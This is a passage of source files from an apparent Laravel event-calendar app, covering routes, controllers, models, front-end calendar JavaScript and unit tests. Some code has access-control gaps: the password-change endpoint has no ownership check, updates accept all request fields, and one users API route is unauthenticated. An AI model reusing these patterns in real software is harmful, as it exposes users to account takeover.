'Auth\SocialAuthController@handleProviderCallback')->name('social.callback'); // Search Route::get('/event/search/{query?}', 'SearchController@show')->middleware('auth'); // Events Route::get('/event', 'EventsController@index')->middleware('auth')->name('event.index'); Route::get('event/create', 'EventsController@create')->middleware(['auth', 'verified', 'role:Super Admin|Event Manager'])->name('event.create'); Route::get('event/{event}', 'EventsController@show')->middleware('auth')->name('event.show'); Route::get('/event/edit/{event}', 'EventsController@edit')->middleware(['auth', 'verified', 'role:Super Admin|Event Manager']); Route::post('event', 'EventsController@store')->middleware(['auth', 'verified', 'role:Super Admin|Event Manager']); Route::put('event/update/{event}', 'EventsController@update')->middleware(['auth', 'verified', 'role:Super Admin|Event Manager']); Route::delete('event/{event}', 'EventsController@destroy')->middleware(['auth', 'verified', 'role:Super Admin|Event Manager']); // Roles Route::get('role', 'RoleController@index')->middleware(['auth', 'verified', 'role:Client']); Route::post('role/update', 'RoleController@update')->middleware(['auth', 'verified', 'role:Client']); // Countries Route::get('country', 'CountriesController@index')->middleware(['auth', 'verified']); // Comments Route::get('/event/{event}/comments', 'CommentsController@index')->middleware('auth'); Route::post('/event/{event}/comments', 'CommentsController@store')->middleware('auth', 'verified'); Route::patch('/comments/{comment}', 'CommentsController@update')->middleware('auth', 'verified'); Route::delete('/comments/{comment}', 'CommentsController@destroy')->middleware('auth', 'verified'); // Favorites Route::post('/favorite/{model}/{id}', 'FavoritesController@store')->middleware('auth', 'verified'); Route::delete('/favorite/{model}/{id}', 'FavoritesController@destroy')->middleware('auth', 'verified'); // Event Subscriptions Route::post('/event/{event}/subscription', 'EventSubscriptionController@store')->middleware('auth', 'verified'); Route::delete('/event/{event}/subscription', 'EventSubscriptionController@destroy')->middleware('auth', 'verified'); // Users Profile Route::get('/users/{user}/profile', 'ProfilesController@show')->middleware('auth', 'verified')->name('profile.show'); Route::get('/users/{user}/profile/edit', 'ProfilesController@edit')->middleware('auth', 'verified')->name('profile.edit'); Route::post('/users/{user}/profile/update', 'ProfilesController@update')->middleware('auth', 'verified')->name('profile.update'); Route::post('/users/{user}/password/update', 'ProfilesController@changePassword')->middleware('auth', 'verified')->name('profile.changePassword'); // Users Notifications Route::get('/users/{user}/profile/notifications', 'UserNotificationsController@index')->middleware('auth', 'verified')->name('notification.index'); Route::delete('/users/{user}/profile/notifications/{notification}', 'UserNotificationsController@destroy')->middleware('auth', 'verified')->name('notification.delete'); // Profile Avatars Route::patch('/users/{user}/avatar/update', 'ProfilesAvatarController@update')->middleware('auth', 'verified')->name('profile.changeAvatar'); // Event Mail Preferences Route::get('/users/{user}/mails/edit', 'MailPreferenceController@edit')->middleware('auth', 'verified')->name('profile.mail.edit'); Route::post('/users/{user}/mails/update', 'MailPreferenceController@update')->middleware('auth', 'verified')->name('profile.mail.update'); Route::get('/users/{user}/mails/delete/{unsubscribeToken}', 'MailPreferenceController@destroy')->middleware('auth', 'verified')->name('profile.mail.delete'); // Users Controller Route::get('api/users', 'Api\UsersController@index'); // Locked Events Route::post('/locked-events/{event}', 'LockedEventsController@store')->middleware('auth', 'verified', 'role:Super Admin')->name('locked-event.store'); Route::delete('/locked-events/{event}', 'LockedEventsController@destroy')->middleware('auth', 'verified', 'role:Super Admin')->name('locked-event.delete'); <file_sep><?php namespace App\Http\Controllers; use App\Country; /** * Class CountriesController * @package App\Http\Controllers */ class CountriesController extends Controller { /** * @return \Illuminate\Http\JsonResponse */ public function index() { $countries = Country::all(); return response()->json($countries); } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; /** * Class MailType * @package App * @property string name * @property User users */ class MailType extends Model { /** * @var array */ protected $fillable = ['name']; /** * @return \Illuminate\Database\Eloquent\Relations\BelongsToMany */ public function users() { $this->belongsToMany(User::class); } } <file_sep><?php namespace App\Http\Controllers; use App\User; use App\Activity; use Illuminate\Support\Facades\Hash; /** * Class ProfilesController * @package App\Http\Controllers */ class ProfilesController extends Controller { /** * @param User $user * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function show(User $user) { return view('profiles.show', [ 'user' => $user, 'activities' => Activity::feed($user), ]); } /** * @param User $user * * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View * @throws \Illuminate\Auth\Access\AuthorizationException */ public function edit(User $user) { $this->authorize('update', $user); return view('profiles.edit', compact('user')); } /** * @param User $user * * @return mixed * @throws \Illuminate\Auth\Access\AuthorizationException */ public function update(User $user) { $this->authorize('update', $user); request()->validate( [ 'name' => 'required', 'email' => 'required|email', ] ); $user->update(request()->all()); return back()->withFlash('Profile updated'); } /** * @param User $user * * @return mixed */ public function changePassword(User $user) { request()->validate( [ 'new_password' => '<PASSWORD>', 'repeat_password' => '<PASSWORD>', ] ); $user->update( [ 'password' => <PASSWORD>(request('new_password')), ] ); return back()->withFlash('Password Changed'); } } <file_sep><?php namespace App\Observers; use App\Event; use Illuminate\Support\Facades\Storage; class EventObserver { /** * Handle the event "deleted" event. * * @param \App\Event $event * @return void */ public function deleting(Event $event) { Storage::delete('public/' . $event->getOriginal('image_path')); } } <file_sep><?php namespace App\Providers; use App\User; use App\Event; use App\Observers\UserObserver; use App\Observers\EventObserver; use Illuminate\Support\ServiceProvider; use Illuminate\Support\Facades\Validator; class AppServiceProvider extends ServiceProvider { /** * Register any application services. * * @return void */ public function register() { } /** * Bootstrap any application services. * * @return void */ public function boot() { User::observe(UserObserver::class); Event::observe(EventObserver::class); Validator::extend('spamfree', 'App\Rules\SpamFree@passes'); } } <file_sep><?php use Illuminate\Http\Request; // Authentication Route::post('/register', 'Api\Auth\AuthController@register')->middleware('api'); Route::post('/login', 'Api\Auth\AuthController@login')->middleware('api'); // Search Route::get('/events', 'Api\EventsController@index')->middleware('auth:api'); Route::get('/event/search/{query?}', 'SearchController@show')->middleware('auth:api'); // Events Route::get('/events/{event}', 'Api\EventsController@show')->middleware('auth:api'); // Comments Route::get('/events/{event}/comments', 'Api\CommentsController@index')->middleware('auth:api'); Route::post('/events/{event}/comments', 'Api\CommentsController@store')->middleware('auth:api'); Route::patch('/comments/{comment}', 'Api\CommentsController@update')->middleware('auth:api'); Route::delete('/comments/{comment}', 'Api\CommentsController@destroy')->middleware('auth:api'); // Users Route::middleware('auth:api')->get('/user', function (Request $request) { return new \App\Http\Resources\UserResource($request->user()); }); <file_sep><?php namespace App\Console\Commands; use App\Event; use Carbon\Carbon; use App\Jobs\DailyMail; use Illuminate\Console\Command; class DayPriorEventReminder extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'remind:day-prior'; /** * The console command description. * * @var string */ protected $description = 'Send reminder email day prior to event start to subscribers'; /** * Execute the console command. * * @return mixed */ public function handle() { $events = Event::all()->filter( function ($event) { return Carbon::parse($event->start_date)->format('y m d') <= Carbon::now()->addDay()->format('y m d') && $event->subscription->count(); } ); $events->each( function ($event) { $event->subscription->each( function ($sub) { if ($sub->user->wantsDailyMail()) { DailyMail::dispatch($sub); sleep(10); } } ); } ); } } <file_sep><?php namespace App; use App\Notifications\EventWasUpdated; use Illuminate\Database\Eloquent\Model; /** * Class EventSubscription * @package App * * @property int user_id * @property int event_id * @property User user */ class EventSubscription extends Model { /** * @var array */ protected $fillable = [ 'user_id', 'event_id', ]; /** * @return \Illuminate\Database\Eloquent\Relations\BelongsTo */ public function user() { return $this->belongsTo(User::class); } public function event() { return $this->belongsTo(Event::class); } public function notify($comment) { $this->user->notify(new EventWasUpdated($this->event, $comment)); } } <file_sep><?php namespace App\Http\Controllers; use App\User; use App\UnsubscribeToken; /** * Class MailPreferenceController * @package App\Http\Controllers */ class MailPreferenceController extends Controller { /** * @param User $user * * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View * @throws \Illuminate\Auth\Access\AuthorizationException */ public function edit(User $user) { $this->authorize('update', $user); return view('profiles.email_preferences', compact('user')); } /** * @param User $user * * @return \Illuminate\Http\RedirectResponse * @throws \Illuminate\Auth\Access\AuthorizationException */ public function update(User $user) { $this->authorize('update', $user); request()->validate( [ 'weekly_event_mail' => 'nullable', 'daily_event_mail' => 'nullable', ] ); request()->has('daily_event_mail') ? $user->subscribeToDailyMails() : $user->unsubscribeFromDailyMails(); request()->has('weekly_event_mail') ? $user->subscribeToWeeklyMails() : $user->unsubscribeFromWeeklyMails(); return back(); } /** * @param User $user * @param UnsubscribeToken $unsubscribeToken * * @return \Illuminate\Http\RedirectResponse|\Illuminate\Routing\Redirector * @throws \Exception */ public function destroy(User $user, UnsubscribeToken $unsubscribeToken) { if (!$this->validToken($unsubscribeToken, $user)) { return redirect('/home')->withErrors(['message' => 'Wrong token']); } $user->unsubscribeFromAllMails(); $unsubscribeToken->delete(); return redirect('/home')->withFlash('Unsubscribed from all mails'); } /** * @param $unsubscribeToken * @param $user * * @return bool */ protected function validToken($unsubscribeToken, $user) { return $unsubscribeToken->token === $user->unsubscribeToken->first()->token; } } <file_sep><?php namespace App\Http\Resources\Events; use App\Http\Resources\UserResource; use Illuminate\Http\Resources\Json\JsonResource; class EventResource extends JsonResource { /** * Transform the resource into an array. * * @param \Illuminate\Http\Request $request * @return array */ public function toArray($request) { return [ 'id' => $this->id, 'user_id' => $this->user_id, 'country_id' => $this->country_id, 'title' => $this->title, 'description' => $this->description, 'image_path' => $this->image_path, 'start_date' => $this->start_date, 'end_date' => $this->end_date, 'locked' => $this->locked, 'created_at' => $this->created_at, 'updated_at' => $this->updated_at, 'comments_count' => $this->comments_count, 'visitsCount' => $this->visitsCount, 'favoritesCount' => $this->favoritesCount, 'subscribersCount' => $this->subscribersCount, 'isFavorited' => $this->isFavorited, 'creator' => new UserResource($this->whenLoaded('creator')), 'favorites' => $this->whenLoaded('favorites'), 'subscription' => $this->whenLoaded('subscription'), 'country' => $this->whenLoaded('country', function() { return [ 'id' => $this->country->id, 'name' => $this->country->name, ]; }), ]; } } <file_sep><?php namespace App\Http\Resources\ResourceIncludes; /** * Class EventResourceIncludes * @package App\Http\Resources\ResourceIncludes */ class EventResourceIncludes extends ResourceIncludes { /** * @var array */ protected $availableIncludes = [ 'creator', 'favorites', 'subscription', 'country', ]; } <file_sep><?php namespace App\Traits; use App\EventSubscription; /** * Trait SubscribeToEvent * @package App\Traits */ trait SubscribeToEvent { public function subscribe() { if (!$this->isSubscribed) { $this->subscription() ->create(['user_id' => auth()->id()]); } } public function unsubscribe() { $this->subscription() ->where('user_id', auth()->id()) ->delete(); } /** * @return mixed */ public function getIsSubscribedAttribute() { return $this->subscription() ->where('user_id', auth()->id()) ->exists(); } /** * @return mixed */ public function getSubscribersCountAttribute() { return $this->subscription ->count(); } /** * @return mixed */ public function subscription() { return $this->hasMany(EventSubscription::class); } } <file_sep><?php namespace App\Http\Resources\ResourceIncludes; /** * Class CommentResourceIncludes * @package App\Http\Resources\ResourceIncludes */ class CommentResourceIncludes extends ResourceIncludes { /** * @var array */ protected $availableIncludes = [ 'owner', 'favorites', ]; } <file_sep><?php namespace App\Http\Controllers; use App\User; use Illuminate\Support\Str; use Intervention\Image\Facades\Image; use Illuminate\Support\Facades\Storage; /** * Class ProfilesAvatarController * @package App\Http\Controllers */ class ProfilesAvatarController extends Controller { /** * @param User $user * * @return mixed */ public function update(User $user) { request()->validate( [ 'avatar' => 'required|image|mimes:jpeg,png,jpg,gif|max:2048', ] ); Storage::delete('public/' . $user->getOriginal('avatar_path')); Storage::delete('public/' . $user->getOriginal('thumb_path')); $avatar_path = request()->file('avatar')->store('user_avatars', 'public'); $path = request()->file('avatar')->hashName('public/user_thumbs/'); $thumb = Image::make(request()->file('avatar'))->resize(50, 50); $thumb_path = Str::after($path, 'public/'); Storage::put($path, $thumb->encode()); $user->update( [ 'avatar_path' => $avatar_path, 'thumb_path' => $thumb_path, ] ); return back()->withFlash('Avatar changed'); } } <file_sep><?php namespace App; use App\Traits\Favoritable; use Laravel\Scout\Searchable; use App\Traits\RecordsVisits; use App\Traits\RecordsActivity; use App\Traits\SubscribeToEvent; use Illuminate\Database\Eloquent\Model; use App\Events\EventReceivedNewComment; use Illuminate\Database\Eloquent\Builder; /** * Class Event * @package App * * @property int user_id * @property int country_id * @property string title * @property string description * @property string image_path * @property string start_date * @property string end_date * @property User creator * @property Country country * * @method static Builder|$this latest() * @method static Builder|$this filter($repository) */ class Event extends Model { use Favoritable, SubscribeToEvent, RecordsActivity, RecordsVisits, Searchable; /** * @var array */ protected $fillable = [ 'user_id', 'country_id', 'title', 'description', 'image_path', 'start_date', 'end_date', 'locked', ]; /** * @var array */ protected $with = [ 'creator', 'favorites', 'subscription', 'country', ]; /** * @var array */ protected $appends = [ 'visitsCount', 'favoritesCount', 'subscribersCount', 'isFavorited', ]; /** * @var array */ protected $dates = [ 'start_date', 'end_date', ]; protected static function boot() { parent::boot(); static::addGlobalScope('commentCount', function ($builder) { $builder->withCount('comments'); }); static::deleting(function ($event) { $event->comments->each->delete(); }); } /** * @param $image * * @return string */ public function getImagePathAttribute($image) { return asset($image ? 'storage/' . $image : 'images/event_images/default.png'); } /** * @return string */ public function path() { return "/event/{$this->id}"; } /** * @return \Illuminate\Database\Eloquent\Relations\BelongsTo */ public function creator() { return $this->belongsTo(User::class, 'user_id'); } /** * @return \Illuminate\Database\Eloquent\Relations\BelongsTo */ public function country() { return $this->belongsTo(Country::class, 'country_id'); } /** * @return \Illuminate\Database\Eloquent\Relations\HasMany */ public function comments() { return $this->hasMany(Comment::class); } /** * @param $comment * * @return Model */ public function addComment($comment) { $comment = $this->comments()->create($comment); event(new EventReceivedNewComment($comment)); return $comment; } /** * @param $query * @param $filters * * @return mixed */ public function scopeFilter($query, $filters) { return $filters->apply($query); } } <file_sep><?php namespace App\Events; use Illuminate\Queue\SerializesModels; use Illuminate\Foundation\Events\Dispatchable; class EventReceivedNewComment { use Dispatchable, SerializesModels; public $comment; /** * EventReceivedNewComment constructor. * @param $comment */ public function __construct($comment) { $this->comment = $comment; } } <file_sep><?php namespace App\Traits; use App\MailType; /** * Trait PreferMails * @package App\Traits */ trait PreferMails { /** * @return mixed */ public function mailTypes() { return $this->belongsToMany(MailType::class); } /** * @return bool */ public function wantsWeeklyMail() { return !!$this->mailTypes->filter( function ($mailType) { return $mailType->name === 'event_weekly'; } )->count(); } /** * @return bool */ public function wantsDailyMail() { return !!$this->mailTypes->filter( function ($mailType) { return $mailType->name === 'event_daily'; } )->count(); } /** * */ public function subscribeToDailyMails() { if (!$this->wantsDailyMail()) { $this->mailTypes()->attach( [ 'mail_type_id' => 1, ] ); } } /** * */ public function unsubscribeFromDailyMails() { if ($this->wantsDailyMail()) { $this->mailTypes()->detach( [ 'mail_type_id' => 1, 'user_id' => auth()->id(), ] ); } } /** * */ public function subscribeToWeeklyMails() { if (!$this->wantsWeeklyMail()) { $this->mailTypes()->attach( [ 'mail_type_id' => 2, ] ); } } /** * */ public function unsubscribeFromWeeklyMails() { if ($this->wantsWeeklyMail()) { $this->mailTypes()->detach( [ 'mail_type_id' => 2, 'user_id' => auth()->id(), ] ); } } /** * */ public function unsubscribeFromAllMails() { $this->mailTypes()->detach(); } } <file_sep><?php namespace App\Http\Controllers; use App\Event; class LockedEventsController extends Controller { public function store(Event $event) { $event->update(['locked' => true]); } public function destroy(Event $event) { $event->update(['locked' => false]); } } <file_sep><?php namespace App\Http\Resources\Events; use App\Trending; use Illuminate\Http\Resources\Json\ResourceCollection; /** * Class EventsCollectionResource * @package App\Http\Resources\Events */ class EventsCollectionResource extends ResourceCollection { /** * @var Trending */ protected $trending; /** * EventsCollectionResource constructor. * @param $resource * @param Trending $trending */ public function __construct($resource, Trending $trending) { parent::__construct($resource); $this->trending = $trending; } /** * Transform the resource collection into an array. * * @param \Illuminate\Http\Request $request * @return array */ public function toArray($request) { return [ 'data' => [ 'events' => EventResource::collection($this->collection), 'trending' => $this->trending->get() ] ]; } } <file_sep><?php namespace App\Http\Controllers; use App\Event; use Exception; use App\Trending; use Illuminate\View\View; use App\Filters\EventFilters; use Illuminate\Http\JsonResponse; use Illuminate\Contracts\View\Factory; use App\Http\Requests\Events\StoreEvent; use Illuminate\Auth\Access\AuthorizationException; class EventsController extends Controller { /** * Return all events * * @param EventFilters $filters * @param Trending $trending * @return Factory|View|array */ public function index(EventFilters $filters, Trending $trending) { $events = Event::latest()->filter($filters)->get(); if (request()->expectsJson()) { return [ 'events' => $events, 'trending' => $trending->get(), ]; } return view('event.index'); } /** * Return single event * * @param Event $event * * @param Trending $trending * @return Factory|View */ public function show(Event $event, Trending $trending) { $trending->push($event); $event->recordVisit(); return view('event.show', [ 'event' => $event->append(['isSubscribed', 'subscribersCount']), ]); } /** * Show form for creating new event * * @return Factory|View */ public function create() { $startDate = request('start_date'); return view('event.modal.create', compact('startDate')); } /** * Store a newly created event in database. * * @param StoreEvent $request * @return JsonResponse */ public function store(StoreEvent $request) { $image_path = null; if (request()->hasFile('event_image')) { $image_path = request()->file('event_image')->store('event_images', 'public'); } $event = $request->persist($image_path); return response()->json([ 'success' => 'Event Created', 'event' => $event, ],200); } /** * Show pre populated form for editing event * * @param Event $event * * @return Factory|View */ public function edit(Event $event) { return view('event.modal.edit', compact('event')); } /** * Update existing resource in storage. * * @param Event $event * * @param StoreEvent $request * @return JsonResponse * @throws AuthorizationException */ public function update(Event $event, StoreEvent $request) { $this->authorize('update', $event); $event->update(request()->all()); return response()->json([ 'success' => 'Event Updated', ], 204); } /** * Delete existing resource in storage. * * @param Event $event * * @return JsonResponse * @throws Exception */ public function destroy(Event $event) { $this->authorize('update', $event); $event->delete(); return response()->json([ 'success' => 'Event Deleted', ]); } } <file_sep>document.addEventListener('DOMContentLoaded', function() { let calendarEl = document.getElementById('calendar'); $.ajaxSetup({ headers: { 'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content') } }); let countries = loadCountries(); let calendar = new FullCalendar.Calendar(calendarEl, { plugins: [ 'dayGrid', 'interaction' ], dateClick: function(info) { if (! userHavePermission()) { return; } $.ajax({ type: 'GET', url: '/event/create', data: { start_date: info.dateStr }, success: function (data) { $('.modal-content').html(data); $('#createEventModal').modal('show'); new SlimSelect({ select: '#country', searchingText: 'Searching...', data: countries }); }, error: function (error) { if (verificationEmailError(error)) { $('.modal-content').html(verifyMailHTML()); $('#createEventModal').modal('show'); } } }); sendVerificationEmailModal(); $(document).off('click', '#createEvent'); $(document).on('click', '#createEvent', function (e) { e.preventDefault(); $.ajax({ type:'POST', url: '/event', enctype: 'multipart/form-data', data: new FormData($('#eventForm')[0]), processData: false, cache: false, contentType: false, success: function(data){ calendar.addEvent({ id: data.event.id, user_id: data.event.user_id, title: data.event.title, description: data.event.description, country: data.event.country, start: data.event.start_date, end: data.event.end_date }); $('#createEventModal').modal('hide'); flash(data.success); }, error: function (error){ showErrorMessage(error.responseJSON.errors); } }); }); }, eventClick: function(event) { if (! userHavePermission()) { window.location = "/event/" + event.event.id; } else { $.ajax({ type: 'GET', url: '/event/edit/' + event.event.id, success: function (data) { $('.modal-content').html(data); $('#createEventModal').modal('show'); let select = new SlimSelect({ select: '#country', searchingText: 'Searching...', data: countries }); select.set(event.event.extendedProps.country_id); }, error: function (error) { if (verificationEmailError(error)) { $('.modal-content').html(verifyMailHTML()); $('#createEventModal').modal('show'); } } }); $(document).off('click', '#deleteEvent'); $(document).on('click', '#deleteEvent', function (e) { e.preventDefault(); $.ajax({ type:'DELETE', url: '/event/' + event.event.id, success: function(data){ event.event.remove(); $('#createEventModal').modal('hide'); flash(data.success); }, error: function (error){ showErrorMessage(error.responseJSON.errors); } }); }); $(document).off('click', '#editEvent'); $(document).on('click', '#editEvent', function (e) { e.preventDefault(); let title = $('#title').val(); let description = $('#description').val(); let country = $('#country').val(); let start_date = $('#start_date').val(); let end_date = $('#end_date').val(); $.ajax({ type:'PUT', url: '/event/update/' + event.event.id, data: JSON.stringify({ title, description, country, start_date, end_date }), contentType : 'application/json', success: function(data){ $('#createEventModal').modal('hide'); flash('Event updated'); }, error: function (error){ showErrorMessage(error.responseJSON.errors); } }); }); $(document).off('click', '#eventDetails'); $(document).on('click', '#eventDetails', function (e) { e.preventDefault(); window.location = "/event/" + event.event.id; }); } }, events: loadEvents() }); calendar.render(); }); function loadEvents() { let result; $.ajax({ type: 'GET', async: false, url: '/event', dataType: "json", success: function (events) { result = events.events.map(event => { return { id: event.id, title: event.title, description: event.description, country_id: event.country_id, start: event.start_date, end: event.end_date } }); } }); return result; } function loadCountries() { let result; $.ajax({ type: 'GET', async: false, url: '/country', success: function (countries) { result = countries.map(country => { return { text: country.name, value: country.id } }); } }); return result; } function userHavePermission() { if (user.roles[0].name === "Event Manager" || user.roles[0].name === "Super Admin") { return true; } return false; } function showErrorMessage (msg) { $(".print-error-msg").fadeIn(); $.each( msg, function( key, value ) { $(".print-error-msg").find("div").append('<p>'+value+'</p>'); }); setTimeout(function () { $(".print-error-msg").fadeOut('slow'); $(".print-error-msg").find("div").empty(); }, 5000); } function showSuccessMessage(msg) { $('#message').fadeIn().html(msg.success); setTimeout(function() { $('#message').fadeOut("slow"); }, 5000 ); } function sendVerificationEmailModal() { $(document).off('click', '#resendVerification'); $(document).on('click', '#resendVerification', function (e) { e.preventDefault(); $('#createEventModal').modal('hide'); $.ajax({ type:'POST', url: 'email/resend', success: function(data){ flash('Verification email resent.'); }, error: function (error){ alert('There was an error resending your verification email.'); } }); }); } function verifyMailHTML() { return ` <div class="modal-header"> <h5 class="modal-title" id="exampleModalLongTitle">Verify Your Email Address</h5> </div> <div class="modal-body"> <p>Before proceeding, please check your email for a verification link</p> <p>If you did not receive the email</p> <button type="submit" id="resendVerification" class="btn btn-link p-0 m-0 align-baseline">Click here to request another</button>. </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button> </div> </div> `; } function verificationEmailError(error) { if (error.responseJSON.message === "Your email address is not verified.") { return true; } return false; } <file_sep><?php namespace Tests\Unit; use App\Favorite; use Tests\TestCase; use Illuminate\Foundation\Testing\RefreshDatabase; class EventTest extends TestCase { use RefreshDatabase; protected $event; protected $eventManager; protected function setUp(): void { parent::setUp(); $this->eventManager = factory('App\User')->create(); $this->eventManager->assignRole('Event Manager'); $this->actingAs($this->eventManager); $this->event = factory('App\Event')->create(['user_id' => $this->eventManager->id]); } /** @test */ public function it_returns_default_image_path_if_event_has_no_image() { $this->withExceptionHandling(); $this->assertEquals( asset("images/event_images/default.png"), $this->event->imagePath ); } /** @test */ public function an_event_has_path() { $this->assertEquals( "/event/{$this->event->id}", $this->event->path() ); } /** @test */ public function an_event_has_creator() { $this->assertInstanceOf( 'App\User', $this->event->creator ); } /** @test */ public function an_event_has_country() { $this->assertInstanceOf( 'App\Country', $this->event->country ); } /** @test */ public function an_event_can_add_comment() { $this->event->comments()->create([ 'user_id' => 1, 'body' => 'First comment' ]); $this->assertEquals( 1, $this->event->comments()->count() ); } /** @test */ public function an_event_has_comments() { $this->event->comments()->create([ 'user_id' => 1, 'body' => 'First comment' ]); $this->assertInstanceOf( 'App\Comment', $this->event->comments->first() ); } /** @test */ public function an_event_can_have_favorites() { Favorite::create([ 'user_id' => $this->eventManager->id, 'favoritable_id' => $this->event->id, 'favoritable_type' => 'App\Event', ]); $this->assertEquals( $this->event->id, $this->event->favorites()->first()->favoritable_id ); } /** @test */ public function an_event_can_be_favorited() { $this->event->favorite(); $this->assertDatabaseHas('favorites', [ 'favoritable_id' => $this->event->id, ]); } /** @test */ public function an_event_can_be_unfavorited() { $this->event->favorite(); $this->event->unfavorite(); $this->assertDatabaseMissing('favorites', [ 'favoritable_id' => $this->event->id, ]); } /** @test */ public function an_event_know_if_it_is_favorited() { $this->event->favorite(); $this->assertTrue($this->event->fresh()->isFavorited()); $this->event->unfavorite(); $this->assertFalse($this->event->fresh()->isFavorited()); } /** @test */ public function an_event_has_subscriptions() { $this->event->subscribe(); $this->assertInstanceOf( 'App\EventSubscription', $this->event->subscription()->first() ); } /** @test */ public function an_event_can_be_subscribed_to() { $this->event->subscribe(); $this->assertDatabaseHas( 'event_subscriptions', [ 'user_id' => $this->eventManager->id, 'event_id' => $this->event->id, ] ); } /** @test */ public function an_event_can_be_unsubscribed_from() { $this->event->subscribe(); $this->event->unsubscribe(); $this->assertDatabaseMissing( 'event_subscriptions', [ 'user_id' => $this->eventManager->id, 'event_id' => $this->event->id, ] ); } /** @test */ public function an_event_know_if_authenticated_user_is_subscribe_to_it() { $this->assertFalse($this->event->isSubscribed); $this->event->subscribe(); $this->assertTrue($this->event->isSubscribed); } /** @test */ public function an_event_know_how_many_subscribers_it_has() { $this->assertEquals( 0, $this->event->subscribersCount ); $this->event->subscribe(); $this->assertEquals( 1, $this->event->fresh()->subscribersCount ); } /** @test */ public function an_event_records_activity_for_the_user_when_it_is_created() { $this->assertDatabaseHas( 'activities', [ 'user_id' => $this->eventManager->id, 'subject_id' => $this->event->id, 'subject_type' => 'App\Event', 'type' => 'created_event', ] ); } /** @test */ public function an_event_has_activities() { $this->assertInstanceOf( 'App\Activity', $this->event->activity()->first() ); } } <file_sep>require('./bootstrap'); Vue.component('flash', require('./components/Flash.vue').default); Vue.component('emailVerificationModal', require('./components/Modal.vue').default); Vue.component('paginator', require('./components/Paginator.vue').default); Vue.component('events', require('./components/Events.vue').default); Vue.component('user-notifications', require('./components/UserNotifications.vue').default); Vue.component('event-view', require('./pages/Event.vue').default); const app = new Vue({ el: '#app' }); <file_sep><?php namespace App\Traits; use Illuminate\Support\Facades\Redis; trait RecordsVisits { public function recordVisit() { if (! $this->userVisitedEvent()) { Redis::incr($this->userCacheKey()); Redis::incr($this->visitsCacheKey()); } } public function visits() { return Redis::get($this->visitsCacheKey()) ?? 0; } protected function visitsCacheKey() { return "events.{$this->id}.visits"; } protected function userCacheKey() { return 'user.' . auth()->id() . 'event.' . $this->id; } public function userVisitedEvent() { return Redis::get($this->userCacheKey()) >= 1; } public function getVisitsCountAttribute() { return $this->visits(); } }<file_sep><?php namespace App\Observers; use App\User; use Illuminate\Support\Facades\Storage; class UserObserver { /** * Handle the user "created" event. * * @param \App\User $user * @return void */ public function created(User $user) { $user->mailTypes()->attach([ 'mail_type_id' => 1, ]); $user->mailTypes()->attach([ 'mail_type_id' => 2, ]); } /** * Handle the user "deleted" event. * * @param \App\User $user * @return void */ public function deleting(User $user) { $user->mailTypes() ->detach(); Storage::delete('public/' . $user->getOriginal('avatar_path')); Storage::delete('public/' . $user->getOriginal('thumb_path')); } } <file_sep><?php /** @var \Illuminate\Database\Eloquent\Factory $factory */ use App\User; use App\Event; use App\Country; use Carbon\Carbon; use Faker\Generator as Faker; $factory->define(Event::class, function (Faker $faker) { $date = Carbon::now(); return [ 'user_id' => User::role('Event Manager')->get()->random()->id, 'country_id' => Country::all()->random()->id, 'title' => $faker->sentence, 'description' => $faker->paragraph, 'image_path' => null, 'start_date' => $date->addDay(rand(1, 20))->format('Y-m-d'), 'end_date' => $date->addDay()->format('Y-m-d'), ]; }); <file_sep><?php namespace App\Http\Controllers\Api; use App\Event; use App\Filters\EventFilters; use App\Http\Resources\Events\EventsCollectionResource; use App\Http\Resources\ResourceIncludes\EventResourceIncludes; use App\Trending; use App\Http\Controllers\Controller; use App\Http\Resources\Events\EventResource; /** * Class EventsController * @package App\Http\Controllers\Api */ class EventsController extends Controller { /** * @var EventResourceIncludes */ protected $includes; /** * EventsController constructor. * @param EventResourceIncludes $includes */ public function __construct(EventResourceIncludes $includes) { $this->includes = $includes; } /** * @param EventFilters $filters * @param Trending $trending * @return EventsCollectionResource */ public function index(EventFilters $filters, Trending $trending) { $events = Event::latest()->filter($filters); return new EventsCollectionResource( $events->paginate(10), $trending ); } /** * @param Event $event * @param Trending $trending * @return EventResource */ public function show(Event $event, Trending $trending) { $trending->push($event); $event->recordVisit(); return new EventResource($event); } } <file_sep><?php namespace App\Http\Controllers; /** * Class RoleController * @package App\Http\Controllers */ class RoleController extends Controller { /** * Show form for upgrading to role Event Manager * * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function index() { return view('role.index'); } /** * @return \Illuminate\Http\RedirectResponse */ public function update() { request()->validate( [ 'cardNumber' => 'digits:8', 'expiryMonth' => 'digits:2', 'expiryYear' => 'digits:4', 'cvCode' => 'digits:4', ] ); auth()->user()->assignRole('Event Manager'); auth()->user()->removeRole('Client'); return redirect()->route('home') ->withFlash('Upgraded to Event Manager'); } } <file_sep><?php namespace App\Http\Controllers\Api; use App\Event; use App\Http\Controllers\Controller; class SearchController extends Controller { /** * @param string $query * @return \Illuminate\Database\Eloquent\Collection */ public function show($query = '') { return Event::search($query)->get(); } } <file_sep><?php namespace App\Http\Controllers\Api; use App\Event; use App\Comment; use App\Http\Controllers\Controller; use App\Http\Resources\CommentsResource; use App\Http\Requests\Comments\CreateCommentRequest; use App\Http\Resources\ResourceIncludes\CommentResourceIncludes; /** * Class CommentsController * @package App\Http\Controllers\Api */ class CommentsController extends Controller { /** * @var CommentResourceIncludes */ protected $includes; /** * CommentsController constructor. * @param CommentResourceIncludes $includes */ public function __construct(CommentResourceIncludes $includes) { $this->includes = $includes; } /** * @param Event $event * @return \Illuminate\Http\Resources\Json\AnonymousResourceCollection */ public function index(Event $event) { $comments = $event->comments() ->latest(); return CommentsResource::collection( $this->includes->attach($comments->paginate(15)) ); } /** * @param Event $event * @param CreateCommentRequest $request * @return \Illuminate\Contracts\Routing\ResponseFactory|\Illuminate\Http\JsonResponse */ public function store(Event $event, CreateCommentRequest $request) { if ($event->locked) { return response(['message' => 'Event is locked'], 422); } $comment = $event->addComment([ 'user_id' => auth()->id(), 'body' => request('body'), ])->load('owner'); return response()->json([ 'message' => 'Your comment has been posted', 'data' => new CommentsResource($comment), ]); } /** * @param Comment $comment * @return \Illuminate\Http\JsonResponse * @throws \Illuminate\Auth\Access\AuthorizationException */ public function update(Comment $comment) { $this->authorize('update', 